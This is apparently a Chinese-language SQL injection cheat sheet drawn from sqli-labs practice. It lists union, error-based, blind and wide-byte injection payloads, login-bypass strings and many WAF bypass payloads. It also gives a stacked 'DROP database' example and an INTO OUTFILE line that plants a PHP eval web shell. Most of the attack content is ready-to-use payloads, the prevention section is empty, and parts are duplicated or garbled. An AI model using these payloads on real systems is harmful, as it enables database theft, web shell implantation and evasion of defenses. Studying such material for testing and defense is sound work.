- 判断是否存在sql注入
- 如何判断数据库的类型
- SQL注入的类型
- 联合查询注入
- 报错注入
- 布尔盲注
- REGEXP正则匹配
- 宽字节注入
- 堆叠注入
- 万能密码
- SQL注入的预防
- SQL注入————绕过小技巧
- WAF绕过的多种方式
- 各种编码绕过###
绕过waf最常见的方法就是使用各种编码进行绕过,但是编码绕过的前提是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码 - 字母大小写转换绕过###
部分waf只会过滤全大写(SLEEP)或者全小写(sleep)的敏感字符,所以我们可以使用sleeP或SLeep,SlEep进入绕过
正常payload:
?id=1’ and sleep(3) and ‘1’=’1
?id=1’ and SLEEP(3) and ‘1’=’1 - 空格过滤绕过###
部分WAF会对空格过滤,可使用空白符或者‘+’号替换空格进行绕过 - 双关键字绕过###
部分waf会对关键字只进行一次过滤处理,可使用双关键字绕过 - 内联注释###
在MySQL里,/*/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/后头加了惊叹号(/!50001sleep(3)/),那么此注释里的语句将被执行 - 请求方式差异规则松懈性绕过###
有些waf同时接收get和post的方法,但只在GET方法增加了过滤规则,post没有增加过滤规则,于是我们可以通过post绕过 - 异常Method绕过###
有些WAF只检测GET,POST方法,可通过使用异常方法进行绕过。 - 超大数据包绕过###
部分WAF只检测固定大小的内容,可通过添加无用字符进行绕过检测 - 复参数绕过###
在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2),部分WAF在处理的过程中可能只处理前面提交的参数值(id=1),而后端程序在处理的时候可能取的是最后面的值。 - 添加%绕过过滤### 这个不一样%,可fuzz其他字符
将waf中过滤的敏感字符通过添加%绕过过滤 - 协议未覆盖绕过###
常见的content-type类型 - 宽字节绕过###
宽字节注入是因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠(%5C%27)。 - %00截断###
部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。 - 利用分块编码传输绕过###
分块传输编码是HTTP的一种数据传输机制,允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked,就代表这个消息体采用了分块编码传输。burp的一个插件可实现 - 虚拟注释bypass### 来自凡神
虚拟注释简单理解成虽然有这个东西,但是它并不会起作用,似有还无的状态。
SQL注入概念:攻击者通过构造特殊的输入作为参数传入Web应用程序当中,改变原有的SQL语句的语义从而来执行攻击者所要的操作。
mysql中比较常用的函数如下:
version():查询数据库的版本
user():查询数据库的使用者
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
load_file():读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统
ascii(str):返回给定字符的ascii值,如果syr是空字符,返回0,如果str是NULL,返回NULL,例如ascii(“a”)=97
length(str):返回给定字符串的长度,如length(“string”)=6
substr(string,start,length)对于给定的字符串string,从start位开始截取,截取的长度为length,例如substr(“Chinese”,2,3)=”hin”
concat(username):将查询到的username连在一起,默认用逗号隔开
concat(str1,’‘,str2)将字符串str1和str2的数据查询到一起,中间用隔开
group_concat(username):将username数据查询在一起,用逗号隔开
limit 0,1:查询第一个数 limit 5: 查询前五个 limit 1,1:查询第二个数 limit n,1:查询第n+1个数
判断是否存在sql注入
1、二话不说,先加单引号’、双引号”、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
2、还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
3、还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。
容易存在sql注入的功能点:
凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 i p的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。
如何判断数据库的类型
1、判断是否是 Mysql数据库 http://127.0.0.1/sqli/Less-5/?id=1’ and exists(selectfrom information_schema.tables) #
2、判断是否是 access数据库 http://127.0.0.1/sqli/Less-5/?id=1’ and exists(selectfrom msysobjects) #
3、判断是否是 Sqlserver数据库 http://127.0.0.1/sqli/Less-5/?id=1’ and exists(select*from sysobjects) #
其中Mysql数据库的特殊点,在于它information_schema数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能触发加载器,它实际只是一个视图,不是基本表
SQL注入的类型
1、联合查询注入
2、报错注入(floor报错注入、时间延迟报错注入、extravalue报错注入、updataxml报错注入)
3、盲注(时间盲注、布尔盲注)
Mysql :mysql中注释符:# 、/**/ 、 —
联合查询注入
1、order by 4 报错了则表示一共返回了3列
2、查看显示位 union select 1,2,3 —+
3、爆数据 union select 1,version(),database() —+
union select 1,database(),schema_name from information_schema.schemata limit 0,1 —+ #爆出一个数据库
union select 1,database(),group_concat(schema_name) from information_schema.schemata —+ #爆出全部数据库
union select 1,database(),(select table_name from information_schema.tables where table_schema = ‘security’ limit 0,1) —+ #爆出数据库” security “里的一个表名
union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=’security’) —+ #爆出数据库” security “里的所有表名
union select 1,database(),( select column_name from information_schema.columns where table_schema =database() and table_name=’users’ limit 0,1) —+ #从表名” users “中爆出一个字段来
union select 1,database(),( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name=’users’ ) —+ #从” users “中爆出全部字段来
union select 1,database(),concat(id,0x7e,username,0x3A,password,0x7e) from users limit 0,1 —+ #从” users “表里对应的列名中爆出一个数据来
union select 1,database(),(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users) —+ #从” users “表里对应的列名中爆出所有数据来
报错注入
利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
优点: 不需要显示位
缺点: 需要输出 mysql_error( )的报错信息
1、extravalue报错注入
extravalue (XML_document, XPath_string)
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格式的字符串).
作用:从目标 XML 中返回包含所查询值的字符串
ps: 返回结果 限制在32位字符
information_schema 是mysql数据库中的系统库 ,information_schema.columns获取所有列的信息。 information_schema.tables 获取所有表的信息
输入?id-1’ union select 1,2,3 —+ 如果没有提示显示位的话,说明不存在联合查询注入,这个时候可以考虑一下报错注入,
and extractvalue(1,concat(0x7e,(selcet database()),0x7e)) —+ #爆的是当前数据库
and extractvalue(1,concat(0x7e,(select schema_name form information_schema.schemata limit 0,1),0x7e)) —+ #爆一个数据库
and extractvalue(1,concat(0x7e,(select table_name form information_schema.tables where table_schema=database() limit 0,1)0x7e)) —+ #从当前数据库里爆出一个表名
and extractvalue(1,concat(0x7e,(select column_name form information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1)0x7e)) —+ #从当前数据库里的” users “表里爆出一个字段名来
payload
网上最常见的payload:exp(~(select from(select user())a))
解释:1.先查询select user()这里面的语句,将里面的查询出来的数据作为一个结果集取名为a;2,然后再select from a 查询a,将结果集全部查询出来,然后这里必须使用嵌套,因为不使用嵌套,不加select from 无法最大整数溢出
得到表名eg:select exp(~(select from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
爆出当前用户的名称:’ and extractvalue(1,concat(0x7e,(select user()))) —+
爆出当前数据库名称:’ and extractvalue(1,concat(0x7e,(select database()))) —+
爆出当前数据库中第一个表(加了limit0,1)的名称:’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’stormgroup’ limit 0,1))) —+
爆出当前表的字段的名称: ‘ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema =’stormgroup ‘ and table_name=’member’ ))) —+
这里的group_concat函数的作用是将查询到字段的数据用,逗号隔开。
爆出用户名name字段的值:’ and extractvalue(1,concat(0x7e,(select name from member limit 1,1))) —+
爆出用户密码password字段值: ‘ and extractvalue(1,concat(0x7e,(select password from menber limit 1,1))) —+
最后的爆字段值有时候会有小坑,有时密码是32位的,并且extractvalue()能查询字符串的最大长度为32位,开头的‘~’顾好占了一位了,所以显示的密码只有31位,直接拿去解密的话会报错,
所以这个时候需要我们用substr()函数,将最后一位被遗漏的值截出来:
‘ and extractvalue(1,concat(0x7e,(select substr(password,32,1) frommember limit 1,1))) —+
2、floor报错注入
floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞。
?id=-1” union select 1,count(),concat(database(),’;’,floor(rand(0)2))x from information_schema.tables group by x; —+ # 当前的数据库名
?id=1” and (select 1 from (select count(),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)2))x from information_schema.tables group by x)a) —+ #爆库长,但是有可能会提示说超过一行
?id=-1” union select 1,count(),concat((select concat(table_name,’;’) from information_schema.tables where table_schema=”security” limit 1,1),floor(rand(0)2))x from information_schema.tables group by x; —+ #爆注册表
注某张表的字段,这里以users为例:?id=-1” union select 1,count(),concat((select concat(column_name,’;’) from information_schema.columns where table_name=’users’ limit 1,1),floor(rand(0)2))x from information_schema.tables group by x; —+
注字段的username值,这里以users为例:?id=-1” union select 1,count(),concat((select concat (username,’;’) from security.users limit 1,1),floor(rand(0)2))x from information_schema.tables group by x; —+
注字段的password,这里以users表为例:?id=-1” union select 1,count(),concat((select concat(password,’;’) from security.users limit 1,1),floor(rand(0)2))x from information_schema.tables group by x; —+
and updataxml(1,concat(0x7e,(sql语句),0x7e),1)—+
使用嵌套方式进行查询
sql语句=select group_concat(table_name) from information.schema.tables where table_schema=database()
3、时间延迟报错注入
概念:构造特殊的SQL语句对目标数据进行猜测,使得猜测正确时与猜测错误时页面响应时间不同根据页面响应时间推断目标数据内容。
我们可以使用if(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正常。
if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句。
sleep(n):将程序挂起一段时间,n的单位是秒
猜测数据库: http://127.0.0.1/sqllabs/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))—+,1,1))=115,1,sleep(5))—+)

ascii方法是将上步获取到的值转换成阿斯克码形式(返回一个正整数)
时间盲注
1、判断是否有注入,注入是字符型还是数字型 eg:1’ and sleep(5) #/— 如果感觉到明显的延迟,说明存在字符型的时间盲注。#的意义和—一样都是注释
2、如果存在时间盲注,则进一步猜解当前数据库名
3、进行猜解数据库名之前,首先应该先判断数据库的长度 eg:1’ and if (length(database())=1,sleep(5),1) # /database()=x x是数字,用来判断数据库名的长度是多少,从1开始猜测。
4、 接着就可以使用二分法来猜解数据库的名字 1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) # /if(exp1,exp2,1)**/ 这里的1代表的是true,表示正确
5、猜解数据库中的表名,得先猜解数据库中表的数量 eg: 1’ and if(select count(table_name) from imformation_schema.tables where table_schema=database())=1,sleep(5),1) # 没有延迟,当database()=2时,发现明显延迟,说明有两个表。
6、然后开始猜解表名,先判断表长度是多长 eg: 1’ and if(length(substr(select table_name from information_schema.tables where table_name=database() limit(0,1),1))=1,sleep(5),1) # 没有延迟,当database()=9时,发现有明显延迟。
时间盲注:id=1 and if(ascii(substr(database(),1,1)=113),sleep(10),1) —+
4、updataxml报错注入
UpdateXml 函数实际上是去更新XML文档,在XML文档路径的位置里面写入子查询,输入特殊字符,然后就因为不符合输入规则产生报错,但是报错的时候已经执行了那个子查询代码。
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
第二个参数:XPath_string (Xpath 格式的字符串)
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
sqllab-less-6:?id=1” and updatexml(1,(concat(‘~’, database(),’~’)),1) —+
into_file上传文件注入:?id=-1’)) union select 1,”<?php @eval($_POST[‘chopper’]);?>”,3 into outfile “C:\phpStudy\PHPTutorial\WWW\123456.php” —+ —————————sqllab/less-7和sqllab/less-8
解释:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
布尔盲注
盲注,就是在服务器没有错误回显时完成的注入攻击,服务器没有错误回显,对于攻击者来说缺少了非常重要的信息,
输入1’ and length(database())=1 #, 显示不存在;
输入1’ and length(database())=2#, 显示不存在;
输入1’ and length(database())=3 #, 显示不存在;
输入1’ and length(database())=4 #, 显示存在;
说明数据库的长度为4
然后用二分法猜解数据库名
输入1’and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)
输入1’ and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(database(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入1’ and ascii(substr(database(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入1’and ascii(substr(database(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1’ and ascii(substr(database(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
如此重复步骤
猜解数据库中的表名
猜解表的数量
1’ and (select count (table_name) frominformation_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) frominformation_schema.tables where table_schema=database() )=2 # 显示存在
说明存在两张表
猜解表名先猜解表的长度
1’ and length(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1’ and length(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
..
1’ and length(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
二分法猜解表名
1’ and ascii(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1,1))>97# 显示存在
1’ and ascii(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1,1))<122# 显示存在
1’ and ascii(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1,1))<109# 显示存在
1’ and ascii(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1,1))<103# 显示不存在
1’ and ascii(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1,1))>103# 显示不存在
猜解表中的字段名
首先猜解表中字段的数量:
1’ and(select count(column_name) from information_schema.columns where table_name=’users’)=1 # 显示不存在
…
1’ and(select count(column_name) from information_schema.columns where table_name=’users’)=8 # 显示存在
说明users表有8个字段。
接着挨个猜解字段名:
1’ and length(substr((select column_name from information_schema.columns wheretable_name= ‘users’ limit 0,1),1))=1 # 显示不存在
…
1’ and length(substr((select column_name from information_schema.columns wheretable_name= ‘users’ limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为7个字符长度。
采用二分法,即可猜解出所有字段名。
REGEXP正则匹配
查找name字段中含有a或者b的所有数据: select name from admin where name regexp ‘ a|b ‘;
查找name字段中含有ab,且ab前有字符的所有数据(.匹配任意字符):select name from admin where name regexp ‘ .ab ‘;
查找name字段中含有at或bt或ct的所有数据: select name from admin where name regexp ‘ [abc]t ‘;
查找name字段中以a-z开头的所有数据: select name from admin where name regexp ‘ ^[a-z] ‘;
宽字节注入
a. 理论基础 :尽管呼吁所有的程序使用unicode编码,所有的网站都使用UTF-8编码,来一个统一的规范,但是国外有些考虑到自己国家的一套编码,比如gbk,作为自己默认的编码类型,有的CMS为了考虑老用户,所以出了gbk和utf-8两个版本。
b. 通常来说,一个gbk编码汉字,占用2个字节,一个utf-8编码的汉字,占用3个字节
c. 在源码里,使用了一个addslashes函数,将$id的值转义,这是通常CMS中对sql注入进行的限制的操作,只要我们输入参数在单引号中1,那么就逃不开单引号的限制,无法注入。
i. addslashes的作用是将 ‘ 变成 \’,让引号不再是单引号,而是一撇而已,一般的绕过方法就是想办法处理\’前面的\:
ii. 假设我们可以在\’ 前面再加单数个的\,让’逃出来。
iii. 宽字节注入是是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码大于128,才到汉字的范围,如果我们输入%df ‘ 看会怎么样) 会报错
iv. 我们可以使用?id=1%df%27来让它报错,或者%a1%27也可以,因为两个字节代表一个汉字,前提是第一个字节的ASCII码要大于128
v. 漏洞的修复方案
1) 我们可以将addslashes函数替换成mysql_real_escape_string函数来抵御宽字节注入。
2) 注:使用mysql_real_escape_string函数的前提是也必须先调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。

3) 注意:爆字段的时候,因为根据where=‘表’查字段名字的时候用到的单引号,也会被转义所以会出现以下的报错。这个时候就需要将文本转换回16进制数,并且前面加上0x
GBK编码可以,那么GB2312可不可以,将编码改成GB2312后,输入1%df’的时候,不会出现报错,原因是GB2312的编码的取值范围高位是0xA1-0XF7,低位是0XA1-0xFE,而\是0x5c,不在低位范围中,所以0x5c根本不是GB2312中的编码,所以,%5c自然不会被当成中文的
堆叠注入
在sql注入中,分号;是用来表示一条sql语句的结束的,试想一下我们在;结束后继续构造下一条语句,会不会一起执行,因此这个想法也就造就了堆叠注入,而union injection(联合注入)将两条语句结合在一起,区别在于union或者union all执行的语句类型是有限的,只可以用来执行语句,堆叠注入是可以执行任意语句的,例如,用户输入:root’;DROP database user; 服务器端生成的sql语句就是:select * from user where name=’user’;DROP database user; 当执行查询之后,第一条显示查询信息,第二条则将整个数据库删除。
二次注入
二次注入漏洞是一种在web应用程序中广泛应用的安全漏洞,与一次注入相比较,二次注入更难发现
User-Agent注入
Cookie注入
万能密码
admin’ or ‘1’=’1 xxxx //万能密码(已知用户名)
xxx ‘or’1’=’1 //万能密码(不需要知道用户名)
‘or‘1’=‘1# xxx //万能密码(不知道用户名)
SQL注入的预防
SQL注入————绕过小技巧
1、过滤and和or参数 用&和|来代替
select * from test where id=1 && 1=1;
select * from test where id=1 || 1=1;
2、过滤空格
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
/**/
+
3、过滤了关键字(select、union)
大小写: SelEct、Union等
双写:selselectect、Ununionion等
拼接:s+elect、u+nion se+lect un+ion
内联注释:/*select*/、/*union*/、/*12345union*/等
WAF绕过的多种方式
各种编码绕过###
绕过waf最常见的方法就是使用各种编码进行绕过,但是编码绕过的前提是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码
1、URL编码
$id= urlencode($id); //URL编码
$id= urldecode($id); //URL解码
2、其他编码
除了使用URL编码外,还可以使用其他的编码方法进行绕过尝试,例如Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似
字母大小写转换绕过###
部分waf只会过滤全大写(SLEEP)或者全小写(sleep)的敏感字符,所以我们可以使用sleeP或SLeep,SlEep进入绕过
正常payload:
?id=1’ and sleep(3) and ‘1’=’1
?id=1’ and SLEEP(3) and ‘1’=’1
绕过payload
?id=1’ and sleeP(3) and ‘1’=’1
?id=1’ and slEeP(3) and ‘1’=’1
空格过滤绕过###
部分WAF会对空格过滤,可使用空白符或者‘+’号替换空格进行绕过
正常payload:
?id=1’and sleep(3) and ‘1’=’1
绕过payload
?id=1’%0Aand%0Asleep(3)%0Aand%0A’1’=’1
b) 使用‘+’替换空格绕过
绕过payload
?id=1’+and+sleep(3)+and+’1’=’1
c) 使用注释符//替换空格绕过
绕过payload
?id=1’//and//sleep(3)//and/**/‘1’=’1
双关键字绕过###
部分waf会对关键字只进行一次过滤处理,可使用双关键字绕过
增加了过滤规则的代码
$id=strtolower($id)
$id=str_replace(“sleep”,””,$id);
正常payload
?id=1and SLeeP(3) and 1=1
由于使用了strtolower()函数,所以无法使用大小写转换进行绕过,注入语句未成功插入
绕过payload
?id=1+and+SLesleepeP(3)+and+1=1
内联注释###
在MySQL里,/*/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/后头加了惊叹号(/!50001sleep(3)/),那么此注释里的语句将被执行
正常payload
?id=1+and+sleep(3)+and+1=2
绕过payload
?id=1+and+/!50001sleep(3)/+and+1=1
请求方式差异规则松懈性绕过###
有些waf同时接收get和post的方法,但只在GET方法增加了过滤规则,post没有增加过滤规则,于是我们可以通过post绕过
正常payload
GET /xxx/?id=1+and+sleep(4)
绕过payload(使用burp抓包将包的方式修改成POST)
POST /xxx/
id=1+and+sleep(4)
异常Method绕过###
有些WAF只检测GET,POST方法,可通过使用异常方法进行绕过。
正常payload:
GET /xxx/?id=1+and+sleep(3) HTTP/1.1
绕过payload
test /xxx/?id=1+and+sleep(3)HTTP/1.1
超大数据包绕过###
部分WAF只检测固定大小的内容,可通过添加无用字符进行绕过检测
正常payload
?id=1+and+sleep(3)
绕过payload
?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
添加无用字符,使内容大小超过WAF检测能检测到的最大内容。
复参数绕过###
在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2),部分WAF在处理的过程中可能只处理前面提交的参数值(id=1),而后端程序在处理的时候可能取的是最后面的值。
正常payload
?id=1+and+sleep(3)
绕过payload
?id=1&id=2+and+sleep(3)
将攻击语句赋予最后一个id参数,可绕过WAF检测直接进入后端服务器
添加%绕过过滤### 这个不一样%,可fuzz其他字符
将waf中过滤的敏感字符通过添加%绕过过滤
例如:WAF过滤了select ,可通过se%lect绕过过滤,在进入后端执行中对参数串进行url解码时,会直接过滤掉%字符,从而注入语句被执行。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤%字符。
正常payload:
?id=1 union select 1, 2, 3 from admin
?id=1 union select 1, 2, 3 from admin
绕过payload
?id=1 union s%e%lect 1, 2, 3 from admin
?id=1 union s%ele%ct 1, 2, 3 from admin
?id=1 union s%el%ect 1, 2, 3 from admin
?id=1 union s%elec%t 1, 2, 3 from admin
协议未覆盖绕过###
常见的content-type类型
Content-Type:multipart/form-data;
Content-Type:application/x-www-form-urlencoded
Content-Type: text/xml
Content-Type: application/json
宽字节绕过###
宽字节注入是因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠(%5C%27)。
正常payload
?id=1’and 1=1—+
绕过payload
?id=1%df%27and 1=1—+
%df%27经过转义后会变成%df%5C%27,%df%5c会被识别为一个新的字节,而%27则被当做单引号,成功实现了语句闭合。
%00截断###
部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。
正常payload:
?a=1&id=1and sleep(3)
绕过payload
?a=1%00.&id=1and sleep(3)
利用分块编码传输绕过###
分块传输编码是HTTP的一种数据传输机制,允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked,就代表这个消息体采用了分块编码传输。burp的一个插件可实现
虚拟注释bypass### 来自凡神
虚拟注释简单理解成虽然有这个东西,但是它并不会起作用,似有还无的状态。
例如:
select from users where id = 1 REGEXP “[…%0a%23] “ /!11444union /80000aaa/select*/ 1,2,3 —+
上面这个语句用到了三种注释,那些有影响,那些没有影响?
这里的REGEXP “[…%0a%23] “ 其实是”[…%0a#]” 因为url数据遇到#相当于遇到锚点,会把后面的隔断,所以才需要编码一下才不会出现语法错误。
这种注释就是没有用的,不会对原有语句的结果造成影响,所以叫它虚拟注释
同理不止可以使用正则, 模糊测试、运算符都可以。
有的waf 在url中遇到#号时,后面的内容他默认就不看,于是根据这个特征我们可以构造特色语句进行绕过,
只要在每个SQL语句注入前加上这个注释(REGEXP “[…%0a%23] “)即可完成绕过
以下的语句可以绕过,更多的语句都是类似推理加上虚拟注释即可完成绕过:
1’ REGEXP “[…%0a%23]” /!11444union %0a select/ 1,2,3 —+
-1’ REGEXP “[…%0a%23]” /!11444union %0a select/ 1,user(%0a /!80000aaa/),3 — +
-1’ REGEXP “[…%0a%23]” /!11444union %0a select/ 1,(select %0a group_concat(schema_name %0a /80000aaa/) %0a from %0a /!11444 /REGEXP “[…%0a%23]”/ %0a information_schema.schemata/),3— +